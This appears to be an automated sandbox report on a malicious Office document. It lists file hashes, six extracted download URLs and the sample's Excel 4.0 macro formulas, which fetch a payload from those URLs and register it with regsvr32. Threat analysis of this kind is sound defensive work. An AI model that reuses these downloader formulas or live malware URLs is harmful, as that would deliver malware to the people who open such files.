General
-
Target
7ac4141ce8a1a85afeed0db616764bd1fb4250eee745d4031a1869f56fac5721
-
Size
46KB
-
MD5
8067a16d4d0ac8d1e5b288fea281e18d
-
SHA1
53c64b31a8d4b0d704aba42693039efe5d9677f2
-
SHA256
7ac4141ce8a1a85afeed0db616764bd1fb4250eee745d4031a1869f56fac5721
-
SHA512
fb44c87e3132ac84a6255434ec9ac8ca607fb23837545f769b39ca2074eabdd8dd235be4c9ff554b70c092453cc1d2615c9cfe5d85ca3cacec1c9e580ed5c5c9
-
SSDEEP
768:H1m2o0pOODOevZCwrvtTzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0Vf1V5f+:H1HoadD3tT5fTR4Lh1NisFYBc3cr+Uqu
Malware Config
Extracted
http://rosywhitecleaningsolution.com/wp-admin/PqMw6fND8Bb1I4VPR10/
http://havilaholuemglobal.com/dofz29/ymIfCcEL8I5kjA6E/
http://www.floresguitarinstruction.com/wp-admin/jWlCX/
http://www.drcc.co.za/restoredcontent/nAKvnbRpazx7c/
http://aopda.org/wp-content/uploads/RDL75PME7OKHk4f/
https://chera.co.kr/wp-includes/i2nnUkDXZ/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://rosywhitecleaningsolution.com/wp-admin/PqMw6fND8Bb1I4VPR10/","..\sei.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://havilaholuemglobal.com/dofz29/ymIfCcEL8I5kjA6E/","..\sei.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.floresguitarinstruction.com/wp-admin/jWlCX/","..\sei.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.drcc.co.za/restoredcontent/nAKvnbRpazx7c/","..\sei.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aopda.org/wp-content/uploads/RDL75PME7OKHk4f/","..\sei.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://chera.co.kr/wp-includes/i2nnUkDXZ/","..\sei.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\sei.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
7ac4141ce8a1a85afeed0db616764bd1fb4250eee745d4031a1869f56fac5721